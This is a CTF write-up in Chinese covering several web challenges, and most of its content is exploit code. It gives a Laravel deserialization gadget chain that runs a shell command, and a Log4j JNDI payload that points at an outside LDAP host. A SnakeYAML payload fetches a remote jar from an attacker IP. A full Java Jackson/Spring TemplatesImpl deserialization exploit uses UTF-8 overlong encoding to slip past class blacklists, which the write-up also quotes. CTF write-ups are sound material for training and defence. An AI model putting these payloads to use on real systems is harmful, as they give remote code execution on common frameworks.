目录
laravel11
直接是nday打掉
<?php
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php system("cat /flag");?>');
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo base64_encode(serialize($pendingbroadcast));
}
?>
imagestore
源鲁杯原题
https://xz.aliyun.com/news/15401

把php://temp替换为/flag即可
see
依赖在log4j历史漏洞版本范围内(2.0.0~2.15.0)

题目提示cookie的错误会被记录到日志中

cookie中插入
${jndi:ldap://8.138.38.81:1339/#aaa}
成功RCE


snakeyaml
入口是一个snakeyaml反序列化


对传入的yamlConfig字符串做了黑名单
if (!yamlConfig.contains("Runtime") && !yamlConfig.contains("\\u") && !yamlConfig.contains("exec") && !yamlConfig.contains("com.sun.rowset.JdbcRowSetImpl") && !yamlConfig.contains("org.springframework.beans.factory.config.PropertyPathFactoryBean") && !yamlConfig.contains("org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor") && !yamlConfig.contains("javax.management.BadAttributeValueExpException") && !yamlConfig.contains("org.apache.commons.configuration.ConfigurationMap"))
来看filter部分,很经典的静态资源路径绕过鉴权


打ScriptEngineManager链
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["http://8.138.38.81:1337/yaml-payload.jar"]
]
]
]
成功RCE


chain

题目本身是jdk17

主要就是spring依赖

调用了this.deserializeService.deserialize

走一个safe输入流check后再反序列化

BlackList1是对base64解码后的原始数据流做check,可以用UTF8 Overlong Encoding绕过


BlackList2是对反序列化的类名做waf
Arrays.asList("org.apache.commons.collections.Transformer", "org.apache.commons.collections.functors.ChainedTransformer", "org.apache.commons.collections.functors.ConstantTransformer", "org.apache.commons.collections.functors.InvokerTransformer", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.beanutils.BeanComparator", "org.springframework.expression.spel.standard.SpelExpressionParser", "com.sun.org.apache.xalan.internal.xsltc.DOM", "java.lang.Runtime", "java.lang.ProcessBuilder", "java.lang.reflect.Method", "java.beans.XMLDecoder", "org.yaml.snakeyaml.Yaml", "com.thoughtworks.xstream.XStream");

随便找个jdk17 spring链子,套个utf8 overlong encoding赢了
exp.java
package com.example.prism.exp;
import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;
// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class exp {
public static void main(String[] args) throws Exception{
// 删除writeReplace保证正常反序列化
try {
ClassPool pool = ClassPool.getDefault();
CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
// 把模块强行修改,切换成和目标类一样的 Module 对象
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(exp.class);
classes.add(Field.class);
classes.add(Method.class);
new exp().bypassModule(classes);
// ===== EXP 构造 =====
byte[] code1 = getTemplateCode();
byte[] code2 = ClassPool.getDefault().makeClass("Z3r4y").toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);
POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));
EventListenerList eventListenerList = getEventListenerList(node);
serialize(eventListenerList, true);
}
public static byte[] serialize(Object obj, boolean flag) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new CustomObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
return baos.toByteArray();
}
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
return proxy;
}
public static byte[] getTemplateCode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
String block = "Runtime.getRuntime().exec(\"calc.exe\");";
template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj);
setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
return list;
}
private static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, "getModule", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field = null;
Class c = obj.getClass();
for (int i = 0; i < 5; i++) {
try {
field = c.getDeclaredField(fieldName);
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
}
CustomObjectOutputStream.java
package com.example.prism.exp;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.ObjectStreamField;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
/* loaded from: CustomObjectOutputStream.class */
public class CustomObjectOutputStream extends ObjectOutputStream {
private static HashMap<Character, int[]> map = new HashMap<>();
static {
map.put('.', new int[]{192, 174});
map.put(';', new int[]{192, 187});
map.put('$', new int[]{192, 164});
map.put('[', new int[]{193, 155});
map.put(']', new int[]{193, 157});
map.put('a', new int[]{193, 161});
map.put('b', new int[]{193, 162});
map.put('c', new int[]{193, 163});
map.put('d', new int[]{193, 164});
map.put('e', new int[]{193, 165});
map.put('f', new int[]{193, 166});
map.put('g', new int[]{193, 167});
map.put('h', new int[]{193, 168});
map.put('i', new int[]{193, 169});
map.put('j', new int[]{193, 170});
map.put('k', new int[]{193, 171});
map.put('l', new int[]{193, 172});
map.put('m', new int[]{193, 173});
map.put('n', new int[]{193, 174});
map.put('o', new int[]{193, 175});
map.put('p', new int[]{193, 176});
map.put('q', new int[]{193, 177});
map.put('r', new int[]{193, 178});
map.put('s', new int[]{193, 179});
map.put('t', new int[]{193, 180});
map.put('u', new int[]{193, 181});
map.put('v', new int[]{193, 182});
map.put('w', new int[]{193, 183});
map.put('x', new int[]{193, 184});
map.put('y', new int[]{193, 185});
map.put('z', new int[]{193, 186});
map.put('A', new int[]{193, 129});
map.put('B', new int[]{193, 130});
map.put('C', new int[]{193, 131});
map.put('D', new int[]{193, 132});
map.put('E', new int[]{193, 133});
map.put('F', new int[]{193, 134});
map.put('G', new int[]{193, 135});
map.put('H', new int[]{193, 136});
map.put('I', new int[]{193, 137});
map.put('J', new int[]{193, 138});
map.put('K', new int[]{193, 139});
map.put('L', new int[]{193, 140});
map.put('M', new int[]{193, 141});
map.put('N', new int[]{193, 142});
map.put('O', new int[]{193, 143});
map.put('P', new int[]{193, 144});
map.put('Q', new int[]{193, 145});
map.put('R', new int[]{193, 146});
map.put('S', new int[]{193, 147});
map.put('T', new int[]{193, 148});
map.put('U', new int[]{193, 149});
map.put('V', new int[]{193, 150});
map.put('W', new int[]{193, 151});
map.put('X', new int[]{193, 152});
map.put('Y', new int[]{193, 153});
map.put('Z', new int[]{193, 154});
}
public CustomObjectOutputStream(OutputStream outputStream) throws IOException {
super(outputStream);
}
@Override // java.io.ObjectOutputStream
protected void writeClassDescriptor(ObjectStreamClass objectStreamClass) throws IOException {
String name = objectStreamClass.getName();
writeShort(name.length() * 2);
for (int i = 0; i < name.length(); i++) {
char charAt = name.charAt(i);
write(map.get(Character.valueOf(charAt))[0]);
write(map.get(Character.valueOf(charAt))[1]);
}
writeLong(objectStreamClass.getSerialVersionUID());
try {
byte b = 0;
if (((Boolean) getFieldValue(objectStreamClass, "externalizable")).booleanValue()) {
b = (byte) (0 | 4);
Field declaredField = ObjectOutputStream.class.getDeclaredField("protocol");
declaredField.setAccessible(true);
if (((Integer) declaredField.get(this)).intValue() != 1) {
b = (byte) (b | 8);
}
} else if (((Boolean) getFieldValue(objectStreamClass, "serializable")).booleanValue()) {
b = (byte) (0 | 2);
}
if (((Boolean) getFieldValue(objectStreamClass, "hasWriteObjectData")).booleanValue()) {
b = (byte) (b | 1);
}
if (((Boolean) getFieldValue(objectStreamClass, "isEnum")).booleanValue()) {
b = (byte) (b | 16);
}
writeByte(b);
ObjectStreamField[] objectStreamFieldArr = (ObjectStreamField[]) getFieldValue(objectStreamClass, "fields");
writeShort(objectStreamFieldArr.length);
for (ObjectStreamField objectStreamField : objectStreamFieldArr) {
writeByte(objectStreamField.getTypeCode());
writeUTF(objectStreamField.getName());
if (!objectStreamField.isPrimitive()) {
Method declaredMethod = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
declaredMethod.setAccessible(true);
declaredMethod.invoke(this, objectStreamField.getTypeString());
}
}
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
} catch (NoSuchFieldException e2) {
throw new RuntimeException(e2);
} catch (NoSuchMethodException e3) {
throw new RuntimeException(e3);
} catch (InvocationTargetException e4) {
throw new RuntimeException(e4);
}
}
public static Object getFieldValue(Object obj, String str) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = obj.getClass().getDeclaredField(str);
declaredField.setAccessible(true);
return declaredField.get(obj);
}
}
生成payload的时候加个vm配置

--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
